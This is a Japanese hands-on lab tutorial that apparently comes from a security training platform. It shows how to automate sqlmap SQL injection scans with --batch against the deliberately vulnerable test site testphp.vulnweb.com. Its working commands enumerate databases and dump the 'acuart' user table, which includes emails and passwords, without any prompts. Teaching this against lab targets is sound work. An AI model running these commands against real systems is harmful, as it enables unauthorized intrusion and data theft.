sqlmap のバッチモードでスキャンを自動化する

MySQLBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、SQL インジェクションの検出と悪用プロセスを自動化する人気のオープンソース侵入テストツールであるsqlmapの強力な--batchモード機能を探求します。sqlmapはデフォルトでは非常にインタラクティブであり、スキャン中にユーザーに意思決定を促すことがよくありますが、--batchモードを使用すると、すべてのプロンプトに対してデフォルトの回答を自動的に選択することで、無人でスキャンを実行できます。これは、スクリプトでのスキャン自動化や、手動での介入が非現実的な大規模評価に特に役立ちます。インタラクティブスキャンと非インタラクティブスキャンの違いを学び、手動スキャンを実行し、その後--batchモードを活用して、完全なデータダンプを含むプロセスを自動化します。

インタラクティブスキャンと非インタラクティブスキャンの違いを理解する

このステップでは、sqlmapにおけるインタラクティブスキャンと非インタラクティブスキャンの根本的な違いを理解します。デフォルトでは、sqlmapはインタラクティブになるように設計されており、スキャン中に特定のテストを続行するかどうか、特定のペイロードを使用するかどうか、脆弱性を悪用するかどうかなど、さまざまな決定に関するユーザーからの入力を頻繁に求めます。このインタラクティブ性は細かい制御を提供しますが、自動化されたタスクには煩雑になる可能性があります。一方、非インタラクティブスキャンは、ユーザーの介入なしにsqlmapがデフォルトの決定を下すことを可能にし、スクリプト作成や大規模な自動化に適しています。

まず、sqlmapのバージョンを確認して、正しくインストールされていることを確認しましょう。

sqlmap --version

以下のような出力が表示され、sqlmapが準備完了であることを示します。

sqlmap version: 1.x.x.x (rXXXX)

次に、ヘルプメニューを簡単に見て、--batchフラグを確認しましょう。

sqlmap --help | grep batch

以下のような出力が表示されます。

    --batch             Never ask for user input, use the default behavior.

これにより、--batchフラグの存在とその目的が確認できます。

スキャンを実行し、プロンプトに手動で応答する

このステップでは、--batchフラグを使用せずに、既知の脆弱性のある URL に対して基本的なsqlmapスキャンを実行します。これにより、sqlmapのインタラクティブな性質と、スキャン中に提示されるさまざまなプロンプトが実証されます。スキャンを続行するには、これらのプロンプトに手動で応答する必要があります。

このデモンストレーションでは、公開されている脆弱性のある URL を使用します。実際のシナリオでは、テストする明示的な許可を得ているシステムに対してのみスキャンを実行する必要があることに注意してください。

以下のsqlmapコマンドを実行してください。sqlmapが尋ねる質問と、それにどのように応答する必要があるかに細心の注意を払ってください。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

スキャンが進むにつれて、sqlmapはいくつかの質問をしてくる可能性が高いです。例えば:

  • do you want to keep testing the others (if any)? [y/N] - N(いいえ)と入力してEnterを押すことができます。
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - Y(はい)と入力してEnterを押すことができます。
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - Y(はい)と入力してEnterを押すことができます。

正確なプロンプトは、sqlmapのバージョンとターゲットの応答によって異なる場合があります。重要なのは、sqlmapが続行するためにユーザーの入力を必要とすることに気づくことです。

スキャンが完了すると、sqlmapは検出された脆弱性を報告します。

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

この手動でのやり取りは、なぜ自動化が効率化に不可欠であるかを浮き彫りにしています。

--batch フラグを使用して自動でデフォルトの回答を行う

このステップでは、sqlmapスキャンを再度実行しますが、今回は--batchフラグを含めます。このフラグは、sqlmapが遭遇するプロンプトに対して自動的にデフォルトの回答を使用するように指示し、実質的にスキャンを非インタラクティブにします。これは、スクリプト作成や脆弱性評価の自動化に非常に役立ちます。

--batchフラグを追加して、以下のコマンドを実行してください。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

出力を観察してください。sqlmapがユーザー入力を待たずにスキャンを進めることに気づくでしょう。前のステップで表示されたすべての質問は、コンテキストに応じてデフォルト値(通常は「はい」または「いいえ」)で自動的に回答されます。

出力は、以下のような形で連続して流れます。

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

これは、無人操作における--batchモードの強力さを示しています。

バッチモードで完全なデータダンプを実行する

このステップでは、--batchフラグを他のsqlmapオプションと組み合わせて、より高度な操作を実行します。つまり、データベースからすべてのデータを自動的にダンプします。これは、--batchモードが手動介入なしで複雑なエクスプロイトタスクを可能にすることを示しています。

情報抽出のために、--dbs(データベースの列挙)、--tables(テーブルの列挙)、--columns(カラムの列挙)、および--dump(エントリのダンプ)オプションを使用します。--batchを使用しているため、sqlmapはこれらの操作に関連するプロンプトに自動的に「はい」と応答します。

まず、バッチモードでデータベースを列挙してみましょう。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmapが確認を求めずにデータベースを自動的に識別するはずです。出力には、見つかったデータベースがリストされます。例えば:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

次に、acuartデータベースからすべてのデータをダンプしてみましょう。これには、テーブルの列挙、次にカラムの列挙、そして最後にデータのダンプが含まれます。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

このコマンドは、sqlmapに以下の指示を出します。

  1. acuartデータベースをターゲットにする(-D acuart)。
  2. すべてのデータをダンプする(--dump)。
  3. バッチモードで実行する(--batch)。これは、「すべてのテーブルをダンプしますか?」や「ハッシュをファイルに保存しますか?」といったプロンプトに自動的に「はい」と応答することを意味します。

出力には、sqlmapがテーブル、次にカラムを列挙し、最後にデータをダンプする様子が表示されます。これらはすべてプロンプトなしで行われます。このプロセスは、データの量によっては時間がかかる場合があります。

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

これは、データ抽出のための--batchモードを使用したsqlmapの完全な自動化機能を示しています。

非対話型スキャンの結果を確認する

この最終ステップでは、--batchモードを使用して実行した非対話型スキャンの結果を確認します。sqlmapは、ダンプされたデータを含む検出結果を指定された出力ディレクトリに保存します。これらの結果がどこに保存されているかを理解することは、ポストエクスプロイト分析やレポート作成において非常に重要です。

デフォルトでは、sqlmap~/.sqlmap/output/(ルート権限で実行した場合は/root/.sqlmap/output/ですが、この実験では~/.sqlmap/output/)に出力ディレクトリを作成します。このディレクトリ内には、ターゲットホスト名に基づいたサブディレクトリが作成されます。

まず、sqlmapの出力ディレクトリに移動します。

cd ~/.sqlmap/output/

次に、このディレクトリの内容をリストして、ターゲットホストのフォルダを見つけます。

ls -F

testphp.vulnweb.com/のような名前のディレクトリが表示されるはずです。

testphp.vulnweb.com/

ターゲットのディレクトリに移動します。

cd testphp.vulnweb.com/

再度内容をリストします。スキャン結果を含むさまざまなファイルやディレクトリ(ログファイル、ダンプされたデータ、その他の検出結果など)が見つかるでしょう。

ls -F

logsession.sqliteのようなファイルや、dump/のようなディレクトリが見つかるかもしれません。

dump/  log  session.sqlite  target.txt

次に、dumpディレクトリの中身を見て、抽出されたデータを確認しましょう。

ls -F dump/

acuartデータベースのディレクトリ、そしてその中にダンプされたテーブルに対応するファイル(例:users.csv)が見つかるはずです。

dump/acuart/

最後に、ダンプされたファイルの内容を表示できます。例えば、users.csvファイルです。

cat dump/acuart/users.csv

これにより、sqlmapusersテーブルから抽出したデータが表示され、自動データダンプの成功が確認できます。

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

これで、バッチモードを使用したsqlmapスキャンの自動化に関する実験は終了です。対話型および非対話型のスキャンを正常に実行し、データを自動的に抽出することができました。

まとめ

この実験では、SQL インジェクション脆弱性評価の自動化に不可欠な機能であるsqlmap--batchモードについて実践的な経験を積みました。まず、対話型スキャンと非対話型スキャンの違いを理解し、sqlmapが通常どのようにユーザー入力を求めるかを確認しました。次に、--batchフラグを使用してスキャンを正常に実行し、すべてのプロンプトにデフォルトの回答を自動的に提供することでプロセスを効率化する方法を示しました。最後に、自動データダンプを実行し、sqlmapが出力ディレクトリに保存した結果を特定してレビューする方法を学びました。この知識は、sqlmapを自動化されたセキュリティテストパイプラインに統合し、大規模な脆弱性分析を効率的に行うための基礎となります。